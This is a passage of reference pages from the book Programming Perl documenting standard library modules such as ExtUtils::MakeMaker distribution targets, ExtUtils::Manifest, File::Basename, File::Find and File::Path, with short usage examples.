First does a command $(PREOP), which defaults to a null command. Does a distdir next and runs shar on that directory into a sharfile. Then deletes the distdir. Finishes with a command $(POSTOP), which defaults to a null command. Note: for shdist to work properly, a shar program that can handle directories is mandatory.

make ci

Does a $(CI) and a $(RCS_LABEL) on all files in the MANIFEST file.

Customization of the distribution targets can be done by specifying a hash reference to the dist attribute of the WriteMakefile() call. The following parameters are recognized:

Parameter | Default
CI | ('ci -u')
COMPRESS | ('compress')
POSTOP | ('@ :')
PREOP | ('@ :')
RCS_LABEL | ('rcs -q -Nv$(VERSION_SYM):')
SHAR | ('shar')
SUFFIX | ('Z')
TAR | ('tar')
TARFLAGS | ('cvf')

An example:

WriteMakefile( 'dist' => { COMPRESS=>"gzip", SUFFIX=>"gz" })

Previous: 7.2.17 ExtUtils::Liblist - Determine Libraries to Use and How to Use Them | Programming Perl | Next: 7.2.19 ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
7.2.17 ExtUtils::Liblist - Determine Libraries to Use and How to Use Them | Book Index | 7.2.19 ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File


[Chapter 7] 7.2.19 ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File

Programming PerlSearch this book

7.2.19 ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File

require ExtUtils::Manifest;

ExtUtils::Manifest::mkmanifest();
ExtUtils::Manifest::manicheck();
ExtUtils::Manifest::filecheck();
ExtUtils::Manifest::fullcheck();
ExtUtils::Manifest::skipcheck();
ExtUtild::Manifest::manifind();
ExtUtils::Manifest::maniread($file);
ExtUtils::Manifest::manicopy($read, $target, $how);

These routines automate the maintenance and use of a MANIFEST file. A MANIFEST file is essentially just a list of filenames, one per line, with an optional comment on each line, separated by whitespace (usually one or more tabs). The idea is simply that you can extract the filenames by saying:

awk '{print $1}' MANIFEST

mkmanifest() writes the names of all files in and below the current directory to a file named in the global variable $ExtUtils::Manifest::MANIFEST (which defaults to MANIFEST) in the current directory. As the counterpart to the awk command above, it works much like:

find . -type f -print > MANIFEST

except that it also checks the existing MANIFEST file (if any) and copies over any comments that are found there. Also, all filenames that match any regular expression in a file MANIFEST.SKIP (if such a file exists) are ignored.

manicheck() checks whether all files listed in a MANIFEST file in the current directory really do exist.

filecheck() finds files below the current directory that are not mentioned in the MANIFEST file. An optional MANIFEST.SKIP file will be consulted, and any filename matching a regular expression in such a file will not be reported as missing in the MANIFEST file.

fullcheck() does both a manicheck() and a filecheck().

skipcheck() lists all files that are skipped due to your MANIFEST.SKIP file.

manifind() returns a hash reference. The keys of the hash are the files found below the current directory. The values are null strings, representing all the MANIFEST comments that aren't there.

maniread($file) reads a named MANIFEST file (defaults to MANIFEST in the current directory) and returns a hash reference, the keys of which are the filenames, and the values of which are the comments that are there. Er, which may be null if the comments aren't there....

manicopy($read, $target, $how) copies the files that are the keys in the hash %$read to the named target directory. The hash reference $read is typically returned by the maniread() function. manicopy() is useful for producing a directory tree identical to the intended distribution tree. The third parameter $how can be used to specify a different method of "copying". Valid values are "cp", which actually copies the files, "ln", which creates hard links, and "best", which mostly links the files but copies any symbolic link to make a tree without any symbolic link. "best" is the default, though it may not be the best default.

7.2.19.1 Ignoring files

The MANIFEST.SKIP file may contain regular expressions of files that should be ignored by mkmanifest() and filecheck(). The regular expressions should appear one on each line. A typical example:

\bRCS\b
^MANIFEST\.
(?i)^makefile$
~$
\.html$
\.old$
^blib/
^MakeMaker-\d

7.2.19.2 Exportability

mkmanifest(), manicheck(), filecheck(), fullcheck(), maniread(), and manicopy() are exportable.

7.2.19.3 Global variables

$ExtUtils::Manifest::MANIFEST defaults to MANIFEST. Changing it results in both a different MANIFEST and a different MANIFEST.SKIP file. This is useful if you want to maintain different distributions for different audiences (say a user version and a developer version including RCS).

$ExtUtils::Manifest::Quiet defaults to 0. You can set it to a true value to get all the functions to shutup already.

7.2.19.4 Diagnostics

All diagnostic output is sent to STDERR.

Not in MANIFEST: file

A file excluded by a regular expression in MANIFEST.SKIP was missing from the MANIFEST file.

No such file: file

A file mentioned in a MANIFEST file does not exist.

MANIFEST: $!

The MANIFEST file could not be opened.

Added to MANIFEST: file

Reported by mkmanifest() if $Verbose is set and a file is added to MANIFEST. $Verbose is set to 1 by default.

7.2.19.5 See also

The ExtUtils::MakeMaker library module generates a Makefile with handy targets for most of this functionality.

Previous: 7.2.18 ExtUtils::MakeMaker - Create a Makefile for a Perl Extension | Programming Perl | Next: 7.2.20 ExtUtils::Miniperl - Write the C Code for perlmain.c
7.2.18 ExtUtils::MakeMaker - Create a Makefile for a Perl Extension | Book Index | 7.2.20 ExtUtils::Miniperl - Write the C Code for perlmain.c


[Chapter 7] 7.2 Library Modules

Programming PerlSearch this book

7.2 Library Modules

As mentioned earlier, the following library modules are arranged in alphabetical order, for easy reference.

  • AnyDBM_File - Provide Framework for Multiple DBMs
  • AutoLoader - Load Functions Only on Demand
  • AutoSplit - Split a Module for Autoloading
  • Benchmark - Check and Compare Running Times of Code
  • Carp - Generate Error Messages
  • Config - Access Perl Configuration Information
  • Cwd - Get Pathname of Current Working Directory
  • DB_File - Access to Berkeley DB
  • Devel::SelfStubber - Generate Stubs for a SelfLoading Module
  • diagnostics - Force Verbose Warning Diagnostics
  • DirHandle - Supply Object Methods for Directory Handles
  • DynaLoader - Automatic Dynamic Loading of Perl Modules
  • English - Use English or awk Names for Punctuation Variables
  • Env - Import Environment Variables
  • Exporter - Default Import Method for Modules
  • ExtUtils::Install - Install Files from Here to There
  • ExtUtils::Liblist - Determine Libraries to Use and How to Use Them
  • ExtUtils::MakeMaker - Create a Makefile for a Perl Extension
  • ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File
  • ExtUtils::Miniperl - Write the C Code for perlmain.c
  • ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
  • ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension
  • ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
  • ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker
  • ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
  • Fcntl - Load the C fcntl.h Defines
  • File::Basename - Parse File Specifications
  • File::CheckTree - Run Many Tests on a Collection of Files
  • File::Copy - Copy Files or Filehandles
  • File::Find - Traverse a File Tree
  • File::Path - Create or Remove a Series of Directories
  • FileCache - Keep More Files Open Than the System Permits
  • FileHandle - Supply Object Methods for Filehandles
  • GDBM_File - Tied Access to GDBM Library
  • Getopt::Long - Extended Processing of Command-Line Options
  • Getopt::Std - Process Single-Character Options with Option Clustering
  • I18N::Collate - Compare 8-bit Scalar Data According to the Current Locale
  • integer - Do Arithmetic in Integer Instead of Double
  • IPC::Open2 - Open a Process for Both Reading and Writing
  • IPC::Open3 - Open a Process for Reading, Writing, and Error Handling
  • lib - Manipulate @INC at Compile-Time
  • Math::BigFloat - Arbitrary-Length, Floating-Point Math Package
  • Math::BigInt - Arbitrary-Length Integer Math Package
  • Math::Complex - Complex Numbers Package
  • NDBM_File - Tied Access to NDBM Files
  • Net::Ping - Check Whether a Host Is Online
  • ODBM_File - Tied Access to ODBM Files
  • overload - Overload Perl's Mathematical Operations
  • POSIX - Perl Interface to IEEE Std 1003.1
  • Pod::Text - Convert POD Data to Formatted ASCII Text
  • Safe - Create Safe Namespaces for Evaluating Perl Code
  • SDBM_File - Tied Access to SDBM Files
  • Search::Dict - Search for Key in Dictionary File
  • SelectSaver - Save and Restore Selected Filehandle
  • SelfLoader - Load Functions Only on Demand
  • Shell - Run Shell Commands Transparently Within Perl
  • sigtrap - Enable Stack Backtrace on Unexpected Signals
  • Socket - Load the C socket.h Defines and Structure Manipulators
  • strict - Restrict Unsafe Constructs
  • subs - Predeclare Subroutine Names
  • Symbol - Generate Anonymous Globs; Qualify Variable Names
  • Sys::Hostname - Try Every Conceivable Way to Get Hostname
  • Sys::Syslog - Perl Interface to UNIX syslog(3) Calls
  • Term::Cap - Terminal Capabilities Interface
  • Term::Complete - Word Completion Module
  • Test::Harness - Run Perl Standard Test Scripts with Statistics
  • Text::Abbrev - Create an Abbreviation Table from a List
  • Text::ParseWords - Parse Text into a List of Tokens
  • Text::Soundex - The Soundex Algorithm Described by Knuth
  • Text::Tabs - Expand and Unexpand Tabs
  • Text::Wrap - Wrap Text into a Paragraph
  • Tie::Hash, Tie::StdHash - Base Class Definitions for Tied Hashes
  • Tie::Scalar, Tie::StdScalar - Base Class Definitions for Tied Scalars
  • Tie::SubstrHash - Fixed-table-size, Fixed-key-length Hashing
  • Time::Local - Efficiently Compute Time from Local and GMT Time
  • vars - Predeclare Global Variable Names

Previous: 7.1 Beyond the Standard Library | Programming Perl | Next: 8. Other Oddments
7.1 Beyond the Standard Library | Book Index | 8. Other Oddments


[Chapter 7] 7.2.20 ExtUtils::Miniperl - Write the C Code for perlmain.c

Programming PerlSearch this book

7.2.20 ExtUtils::Miniperl - Write the C Code for perlmain.c

use ExtUtils::Miniperl;
writemain(@directories);

writemain() takes an argument list of directories containing archive libraries that are needed by Perl modules and that should be linked into a new Perl binary. It correspondingly writes to STDOUT a file intended to be compiled as perlmain.c that contains all the bootstrap code to make the modules associated with the libraries available from within Perl.

The typical usage is from within a Makefile generated by ExtUtils::MakeMaker. So under normal circumstances you won't have to deal with this module directly.

WARNING: This entire module is automatically generated from a script called minimod.PL when Perl itself is built. So if you want to patch it, please patch minimod.PL in the Perl distribution instead.

Previous: 7.2.19 ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File | Programming Perl | Next: 7.2.21 ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader
7.2.19 ExtUtils::Manifest - Utilities to Write and Check a MANIFEST File | Book Index | 7.2.21 ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader


[Chapter 7] 7.2.21 ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader

Programming PerlSearch this book

7.2.21 ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader

use ExtUtils::Mkbootstrap;
mkbootstrap();

mkbootstrap() typically gets called from an extension's Makefile. It writes a *.bs file that is needed by some architectures to do dynamic loading. It is otherwise unremarkable, and MakeMaker usually handles the details. If you need to know more about it, you've probably already read the module.

Previous: 7.2.20 ExtUtils::Miniperl - Write the C Code for perlmain.c | Programming Perl | Next: 7.2.22 ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension
7.2.20 ExtUtils::Miniperl - Write the C Code for perlmain.c | Book Index | 7.2.22 ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension


[Chapter 7] 7.2.22 ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension

Programming PerlSearch this book

7.2.22 ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension

use ExtUtils::Mksymlists;

Mksymlists(  NAME     => $name,
             DL_FUNCS => { $pkg1 => [$func1, $func2], $pkg2 => [$func3] },
             DL_VARS  => [$var1, $var2, $var3]);

ExtUtils::Mksymlists() produces files used by the linker under some OSes during the creation of shared libraries for dynamic extensions. It is normally called from a MakeMaker-generated Makefile when the extension is built. The linker option file is generated by calling the function Mksymlists(), which is exported by default from ExtUtils::Mksymlists. It takes one argument, a list of key/value pairs, in which the following keys are recognized:

NAME

This gives the name of the extension (for example, Tk::Canvas) for which the linker option file will be produced.

DL_FUNCS

This is identical to the DL_FUNCS attribute available via MakeMaker, from which it is usually taken. Its value is a reference to a hash, in which each key is the name of a package, and each value is a reference to an array of function names, which should be exported by the extension. So, one might say:

DL_FUNCS => {
     Homer::Iliad   => [ qw(trojans greeks) ],
     Homer::Odyssey => [ qw(travelers family suitors) ],
},

The function names should be identical to those in the XSUB code; Mksymlists() will alter the names written to the linker option file to match the changes made by xsubpp. In addition, if none of the functions in a list begins with the string "boot_", Mksymlists() will add a bootstrap function for that package, just as xsubpp does. (If a boot_pkg function is present in the list, it is passed through unchanged.) If DL_FUNCS is not specified, it defaults to the bootstrap function for the extension specified in NAME.

DL_VARS

This is identical to the DL_VARS attribute available via MakeMaker, and, like DL_FUNCS, it is usually specified via MakeMaker. Its value is a reference to an array of variable names that should be exported by the extension.

FILE

This key can be used to specify the name of the linker option file (minus the OS-specific extension) if for some reason you do not want to use the default value, which is the last word of the NAME attribute (for example, for Tk::Canvas, FILE defaults to Canvas).

FUNCLIST

This provides an alternate means to specify function names to be exported from the extension. Its value is a reference to an array of function names to be exported. These names are passed through unaltered to the linker options file.

DLBASE

This item specifies the name by which the linker knows the extension, which may be different from the name of the extension itself (for instance, some linkers add an "_" to the name of the extension). If it is not specified, it is derived from the NAME attribute. It is presently used only by OS/2.

When calling Mksymlists(), one should always specify the NAME attribute. In most cases, this is all that's necessary. In the case of unusual extensions, however, the other attributes can be used to provide additional information to the linker.

Previous: 7.2.21 ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader | Programming Perl | Next: 7.2.23 ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
7.2.21 ExtUtils::Mkbootstrap - Make a Bootstrap File for Use by DynaLoader | Book Index | 7.2.23 ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker


[Chapter 7] 7.2.23 ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker

Programming PerlSearch this book

7.2.23 ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker

use ExtUtils::MM_OS2; # Done internally by ExtUtils::MakeMaker if needed

See ExtUtils::MM_Unix for documentation of the methods provided there. This package overrides the implementation of the methods, not the interface.

Previous: 7.2.22 ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension | Programming Perl | Next: 7.2.24 ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker
7.2.22 ExtUtils::Mksymlists - Write Linker Option Files for Dynamic Extension | Book Index | 7.2.24 ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker


[Chapter 7] 7.2.24 ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker

Programming PerlSearch this book

7.2.24 ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker

require ExtUtils::MM_Unix;

The methods provided by this package (and by the other MM_* packages) are designed to be used in conjunction with ExtUtils::MakeMaker. You will never require this module yourself. You would only define methods in this or a similar module if you're working on improving the porting capabilities of MakeMaker. Nevertheless, this is a laudable goal, so we'll talk about it here.

When MakeMaker writes a Makefile, it creates one or more objects that inherit their methods from package MM. MM itself doesn't provide any methods, but it inherits from the ExtUtils::MM_Unix class. However, for certain platforms, it also inherits from an OS-specific module such as MM_VMS, and it does this before it inherits from the MM_Unix module in the @ISA list. The inheritance tree of MM therefore lets the OS-specific package override any of the methods listed here. In a sense, the MM_Unix package is slightly misnamed, since it provides fundamental methods on non-UNIX systems too, to the extent that the system is like UNIX.

7.2.24.1 MM methods

We've avoided listing deprecated methods here, as well as any private methods you're unlikely to want to override.

catdir LIST

Concatenates two or more directory names to form a complete path ending with a directory. On UNIX it just glues it together with a / character.

catfile LIST

Concatenates one or more directory names and a filename to form a complete path ending with a filename. Also uses / on UNIX.

dir_target

Takes an array of directories that need to exist and returns a Makefile entry for a .exists file in these directories. Returns nothing if the entry has already been processed. We're helpless, though, if the same directory comes as $(FOO) and as bar. Both of them get an entry; that's why we use "::".

file_name_is_absolute FILENAME

Takes as argument a path and returns true if it is an absolute path.

find_perl VERSION, NAMES, DIRS, TRACE

Searches for an executable Perl that is at least the specified VERSION, named by one of the entries in NAMES (an array reference), and located in one of the entries of DIRS (also an array reference). It prints debugging info if TRACE is true.

guess_name

Guesses the name of this package by examining the working directory's name. MakeMaker calls this only if the developer has not supplied a NAME attribute. Shame on you.

has_link_code

Returns true if C, XS, MYEXTLIB or similar objects exist within this object that need a compiler. Does not descend into subdirectories as needs_linking() does.

libscan FILENAME

Takes a path to a file that is found by init_dirscan() and returns false if we don't want to include this file in the library. It is mainly used to exclude RCS/, CVS/, and SCCS/ directories from installation.

lsdir DIR, REGEXP

Takes as arguments a directory name and a regular expression. Returns all entries in the directory that match the regular expression.

maybe_command_in_dirs

Method under development. Not yet used.

maybe_command FILENAME

Returns true if the argument is likely to be a command.

needs_linking

Does this module need linking? Looks into subdirectory objects, if any. (See also has_link_code().)

nicetext TARGET

(A misnamed method.) The MM_Unix version of the method just returns the argument without further processing. On VMS, this method ensures that colons marking targets are preceded by space. Most UNIX makes don't need this, but it's necessary under VMS to distinguish the target delimiter from a colon appearing as part of a filespec.

path

Takes no argument. Returns the environment variable PATH as an array.

perl_script FILENAME

Returns true if the argument is likely to be a Perl script. With MM_Unix this is true for any ordinary, readable file.

prefixify ATTRNAME, OLDPREFIX, NEWPREFIX

Processes a path attribute in $self->{ ATTRNAME }. First it looks it up for you in %Config if it doesn't have a value yet. Then it replaces (in-place) the OLDPREFIX with the NEWPREFIX (if it matches).

replace_manpage_separator FILENAME

Takes the filename of a package, which if it's a nested package will have a name of the form "Foo/Bar" (under UNIX), and replaces the subdirectory delimiter with "::". Returns the altered name.

7.2.24.2 Methods to produce chunks of text for the Makefile

When MakeMaker thinks it has all its ducks in a row, it calls a special sequence of methods to produce the Makefile for a given MakeMaker object. The list of methods it calls is specified in the array @ExtUtils::MakeMaker::MM_Sections, one method per section. Since these routines are all called the same way, we won't document each of them separately, except to list them.

By far the most accurate and up-to-date documentation for what each method does is actually the Makefile that MakeMaker produces. Each section of the file is labeled with the name of the method that produces it, so once you see how you want to change the Makefile, it's a trivial matter to work back from the proposed change and find the method responsible for it.

You've plowed through a lot of ugly things to get here, but since you've read this far, we'll reward you by pointing out something incredibly beautiful in MakeMaker. The arguments (if any) that are passed to each method are simply the pseudo-attributes of the same name that you already saw documented under "Additional Lowercase Attributes" in the section on ExtUtils::MakeMaker. You'll recall that those pseudo-attributes were specified as anonymous hashes, which Just Happen to have exactly the same syntax inside as named parameters. Fancy that. So the arguments just come right into your method as ordinary named parameters. Assign the arguments to a hash, and off you go. And it's completely forward and backward compatible. Even if you override a method that didn't have arguments before, there's no problem. Since it's all driven off the method name, just name your new pseudo-attribute after your method, and your method will get its arguments.

The return values are also easy to understand: each method simply returns the string it wants to put into its section of the Makefile.

Two special methods are post_initialize() and postamble(), each of which returns an empty string by default. You can define them in your Makefile.PL to insert customized text near the beginning or end of the Makefile.

Here are the methods. They're called in this order (reading down the columns):

post_initialize() | top_targets() | realclean()
const_config() | linkext() | dist_basics()
constants() | dlsyms() | dist_core()
const_loadlibs() | dynamic() | dist_dir()
const_cccmd() | dynamic_bs() | dist_test()
tool_autosplit() | dynamic_lib() | dist_ci()
tool_xsubpp() | static() | install()
tools_other() | static_lib() | force()
dist() | installpm() | perldepend()
macro() | installpm_x() | makefile()
depend() | manifypods() | staticmake()
post_constants() | processPL() | test()
pasthru() | installbin() | test_via_harness()
c_o() | subdirs() | test_via_script()
xs_c() | subdir_x() | postamble()
xs_o() | clean() |

7.2.24.3 See also

ExtUtils::MakeMaker library module.

Previous: 7.2.23 ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker | Programming Perl | Next: 7.2.25 ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker
7.2.23 ExtUtils::MM_OS2 - Methods to Override UNIX Behavior in ExtUtils::MakeMaker | Book Index | 7.2.25 ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker


[Chapter 7] 7.2.25 ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker

Programming PerlSearch this book

7.2.25 ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker

use ExtUtils::MM_VMS; # Done internally by ExtUtils::MakeMaker if needed

See ExtUtils::MM_Unix for documentation of the methods provided there. This package overrides the implementation of the methods, not the interface.

Previous: 7.2.24 ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker | Programming Perl | Next: 7.2.26 Fcntl - Load the C fcntl.h Defines
7.2.24 ExtUtils::MM_Unix - Methods Used by ExtUtils::MakeMaker | Book Index | 7.2.26 Fcntl - Load the C fcntl.h Defines


[Chapter 7] 7.2.26 Fcntl - Load the C fcntl.h Defines

Programming PerlSearch this book

7.2.26 Fcntl - Load the C fcntl.h Defines

use Fcntl;

$nonblock_flag = O_NDELAY();
$create_flag = O_CREAT();
$read_write_flag = O_RDWR();

This module is just a translation of the C fcntl.h file. Unlike the old mechanism which required a translated fcntl.ph file, fcntl uses the h2xs program (see the Perl source distribution) and your native C compiler. This means that it has a much better chance of getting the numbers right.

Note that only #define symbols get translated; you must still correctly pack up your own arguments to pass as arguments for locking functions and so on.

The following routines are exported by default, and each routine returns the value of the #define that is the same as the routine name:

FD_CLOEXEC | F_DUPFD | F_GETFD | F_GETFL | F_GETLK | F_RDLCK
F_SETFD | F_SETFL | F_SETLK | F_SETLKW | F_UNLCK | F_WRLCK
O_APPEND | O_CREAT | O_EXCL | O_NDELAY | O_NOCTTY |
O_NONBLOCK | O_RDONLY | O_RDWR | O_TRUNC | O_WRONLY |

Previous: 7.2.25 ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker | Programming Perl | Next: 7.2.27 File::Basename - Parse File Specifications
7.2.25 ExtUtils::MM_VMS - Methods to Override UNIX Behavior in ExtUtils::MakeMaker | Book Index | 7.2.27 File::Basename - Parse File Specifications


[Chapter 7] 7.2.27 File::Basename - Parse File Specifications

Programming PerlSearch this book

7.2.27 File::Basename - Parse File Specifications

use File::Basename;

($name, $path, $suffix) = fileparse($fullname, @suffixlist)
fileparse_set_fstype($os_string);  # $os_string specifies OS type
$basename = basename($fullname, @suffixlist);
$dirname = dirname($fullname);

($name, $path, $suffix) = fileparse("lib/File/Basename.pm", '\.pm');
fileparse_set_fstype("VMS");
$basename = basename("lib/File/Basename.pm", ".pm");
$dirname = dirname("lib/File/Basename.pm");

These routines allow you to parse file specifications into useful pieces using the syntax of different operating systems.

fileparse_set_fstype

You select the syntax via the routine fileparse_set_fstype(). If the argument passed to it contains one of the substrings "VMS", "MSDOS", or "MacOS", the file specification syntax of that operating system is used in future calls to fileparse(), basename(), and dirname(). If it contains none of these substrings, UNIX syntax is used. This pattern matching is case-insensitive. If you've selected VMS syntax and the file specification you pass to one of these routines contains a /, it assumes you are using UNIX emulation and applies the UNIX syntax rules instead for that function call only. If you haven't called fileparse_set_fstype(), the syntax is chosen by examining the osname entry from the Config package according to these rules.

fileparse

The fileparse() routine divides a file specification into three parts: a leading path, a file name, and a suffix. The path contains everything up to and including the last directory separator in the input file specification. The remainder of the input file specification is then divided into name and suffix based on the optional patterns you specify in @suffixlist. Each element of this list is interpreted as a regular expression, and is matched against the end of name. If this succeeds, the matching portion of name is removed and prepended to suffix. By proper use of @suffixlist, you can remove file types or versions for examination. You are guaranteed that if you concatenate path, name, and suffix together in that order, the result will be identical to the input file specification. Using UNIX file syntax:

($name, $path, $suffix) = fileparse('/virgil/aeneid/draft.book7',
                                                  '\.book\d+');

would yield:

$name   eq 'draft'
$path   eq '/virgil/aeneid',
$suffix eq '.book7'

(Note that the suffix pattern is in single quotes. You'd have to double the backslashes if you used double quotes, since double quotes do backslash interpretation.) Similarly, using VMS syntax:

($name, $path, $suffix) = fileparse('Doc_Root:[Help]Rhetoric.Rnh', '\..*');

would yield:

$name   eq 'Rhetoric'
$path   eq 'Doc_Root:[Help]'
$suffix eq '.Rnh'
basename

The basename() routine returns the first element of the list produced by calling fileparse() with the same arguments. It is provided for compatibility with the UNIX shell command basename(1).

dirname

The dirname() routine returns the directory portion of the input file specification. When using VMS or MacOS syntax, this is identical to the second element of the list produced by calling fileparse() with the same input file specification. When using UNIX or MS-DOS syntax, the return value conforms to the behavior of the UNIX shell command dirname(1). This is usually the same as the behavior of fileparse(), but differs in some cases. For example, for the input file specification lib/, fileparse() considers the directory name to be lib/, while dirname() considers the directory name to be . (dot).

Previous: 7.2.26 Fcntl - Load the C fcntl.h Defines | Programming Perl | Next: 7.2.28 File::CheckTree - Run Many Tests on a Collection of Files
7.2.26 Fcntl - Load the C fcntl.h Defines | Book Index | 7.2.28 File::CheckTree - Run Many Tests on a Collection of Files


[Chapter 7] 7.2.28 File::CheckTree - Run Many Tests on a Collection of Files

Programming PerlSearch this book

7.2.28 File::CheckTree - Run Many Tests on a Collection of Files

use File::CheckTree;

$warnings += validate( q{
    /vmunix                 -e || die
    /boot                   -e || die
    /bin                    cd
        csh                 -ex
        csh                 !-ug
        sh                  -ex
        sh                  !-ug
    /usr                    -d || warn "What happened to $file?\n"
});

The validate() routine takes a single multi-line string, each line of which contains a filename plus a file test to try on it. (The file test may be given as "cd", causing subsequent relative filenames to be interpreted relative to that directory.) After the file test you may put "|| die" to make it a fatal error if the file test fails. The default is:

|| warn

You can reverse the sense of the test by prepending "!". If you specify "cd" and then list some relative filenames, you may want to indent them slightly for readability. If you supply your own die or warn message, you can use $file to interpolate the filename.

File tests may be grouped: -rwx tests for all of -r, -w, and -x. Only the first failed test of the group will produce a warning.

validate() returns the number of warnings issued, presuming it didn't die.

Previous: 7.2.27 File::Basename - Parse File Specifications | Programming Perl | Next: 7.2.29 File::Copy - Copy Files or Filehandles
7.2.27 File::Basename - Parse File Specifications | Book Index | 7.2.29 File::Copy - Copy Files or Filehandles


[Chapter 7] 7.2.29 File::Copy - Copy Files or Filehandles

Programming PerlSearch this book

7.2.29 File::Copy - Copy Files or Filehandles

use File::Copy;

copy("src-file", "dst-file");
copy("Copy.pm", \*STDOUT);

use POSIX;
use File::Copy 'cp';

$fh = FileHandle->new("/dev/null", "r");
cp($fh, "dst-file");'

The Copy module provides one function, copy(), that takes two parameters: a file to copy from and a file to copy to. Either argument may be a string, a FileHandle reference, or a FileHandle glob. If the first argument is a filehandle of some sort, it will be read from; if it is a filename, it will be opened for reading. Likewise, the second argument will be written to (and created if need be).

An optional third parameter is a hint that requests the buffer size to be used for copying. This is the number of bytes from the first file that will be held in memory at any given time, before being written to the second file. The default buffer size depends upon the file and the operating system, but will generally be the whole file (up to 2Mb), or 1kb for filehandles that do not reference files (for example, sockets).

When running under VMS, this routine performs an RMS copy of the file, in order to preserve file attributes, indexed file structure, and so on. The buffer size parameter is ignored.

You may use the syntax:

use File::Copy "cp"

to get at the cp() alias for the copy() function. The syntax is exactly the same.

copy() returns 1 on success, 0 on failure; $! will be set if an error was encountered.

Previous: 7.2.28 File::CheckTree - Run Many Tests on a Collection of Files | Programming Perl | Next: 7.2.30 File::Find - Traverse a File Tree
7.2.28 File::CheckTree - Run Many Tests on a Collection of Files | Book Index | 7.2.30 File::Find - Traverse a File Tree


[Chapter 7] 7.2.30 File::Find - Traverse a File Tree

Programming PerlSearch this book

7.2.30 File::Find - Traverse a File Tree

use File::Find;
find(\&wanted, 'dir1', 'dir2'...);
sub wanted { ... }

use File::Find;
finddepth(\&wanted, 'dir1', 'dir2'...);  # traverse depth-first
sub wanted { ... }

find() is similar to the UNIX find(1) command in that it traverses the specified directories, performing whatever tests or other actions you request. However, these actions are given in the subroutine, wanted(), which you must define (but see find2perl below). For example, to print out the names of all executable files, you could define wanted() this way:

sub wanted {
    print "$File::Find::name\n" if -x;
}

$File::Find::dir contains the current directory name, and $_ the current filename within that directory. $File::Find::name contains "$File::Find::dir/$_". You are chdired to $File::Find::dir when find() is called. You can set $File::Find::prune to true in wanted() in order to prune the tree; that is, find() will not descend into any directory when $File::Find::prune is set.

This library is primarily for use with the find2perl(1) command, which is supplied with the standard Perl distribution and converts a find(1) invocation to an appropriate wanted() subroutine. The command:

find2perl / -name .nfs\* -mtime +7 \
             -exec rm -f {} \; -o -fstype nfs -prune

produces something like:

sub wanted {
    /^\.nfs.*$/ &&
    (($dev, $ino, $mode, $nlink, $uid, $gid) = lstat($_)) &&
    int(-M _) > 7 &&
    unlink($_)
    ||
    ($nlink || (($dev, $ino, $mode, $nlink, $uid, $gid) = lstat($_))) &&
    $dev < 0 &&
    ($File::Find::prune = 1);
}

Set the variable $File::Find::dont_use_nlink if you're using the AFS.

finddepth() is just like find(), except that it does a depth-first search.

Here's another interesting wanted() function. It will find all symbolic links that don't resolve:

sub wanted {
    -l and not -e and print "bogus link: $File::Find::name\n";
}

Previous: 7.2.29 File::Copy - Copy Files or Filehandles | Programming Perl | Next: 7.2.31 File::Path - Create or Remove a Series of Directories
7.2.29 File::Copy - Copy Files or Filehandles | Book Index | 7.2.31 File::Path - Create or Remove a Series of Directories


[Chapter 7] 7.2.31 File::Path - Create or Remove a Series of Directories

Programming PerlSearch this book

7.2.31 File::Path - Create or Remove a Series of Directories

use File::Path;

mkpath(['/foo/bar/baz', 'blurfl/quux'], 1, 0711);
rmtree(['/foo/bar/baz', 'blurfl/quux'], 1, 1);

The mkpath() function provides a convenient way to create directories, even if your mkdir(2) won't create more than one level of directory at a time. mkpath() takes three arguments:

  • The name of the path to create, or a reference to a list of paths to create

  • A Boolean value, which if true will cause mkpath() to print the name of each directory as it is created (defaults to false)

  • The numeric mode to use when creating the directories (defaults to 0777)

It returns a list of all directories created, including intermediate directories, which are assumed to be delimited by the UNIX path separator, /.

Similarly, the rmtree() function provides a convenient way to delete a subtree from the directory structure, much like the UNIX rm -r command. rmtree() takes three arguments:

  • The root of the subtree to delete, or a reference to a list of roots. All of the files and directories below each root, as well as the roots themselves, will be deleted.

  • A Boolean value, which if true will cause rmtree() to print a message each time it examines a file, giving the name of the file and indicating whether it's using rmdir(2) or unlink(2) to remove it, or whether it's skipping it. (This argument defaults to false.)

  • A Boolean value, which if true will cause rmtree() to skip any files to which you do not have delete access (if running under VMS) or write access (if running under another operating system). This will change in the future when a criterion for "delete permission" under operating systems other than VMS is settled. (This argument defaults to false.)

